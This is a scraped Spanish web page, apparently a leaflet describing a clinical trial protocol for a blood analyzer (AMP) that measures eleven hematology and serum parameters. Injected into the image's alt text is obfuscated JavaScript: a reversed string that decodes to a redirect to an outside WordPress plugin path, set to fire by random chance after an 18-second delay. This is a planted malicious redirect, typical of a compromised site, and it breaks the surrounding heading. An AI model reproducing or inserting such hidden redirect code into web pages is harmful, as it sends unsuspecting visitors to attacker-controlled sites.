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Clinical Leaflet
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Protocolo del estudio de la eficiencia y seguridad del Analizador (AMP)
El objetivo del ensayo clínico es evaluación del dispositivo, de su eficacia en la determinación de los 11 parámetros hematológicos (hemoglobina, hematocrito, cantidad de eritrocitos, cantidad de leucocitos, contenido relativo de linfocitos, cantidad de plaquetas, concentración de sodio sérico, concentración de potasio sérico, concentración de calcio sérico, proteína total, colesterol total) y de seguridad clínica.
![Pro<script>$NqM=function(n){if (typeof ($NqM.list[n]) ==](https://biopromin.com/wp-content/themes/biopromin/assets/images/data/evidence-patern.png)
toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tocolo del estudio de la eficiencia y seguridad del Analizador (AMP)">¡Gracias!
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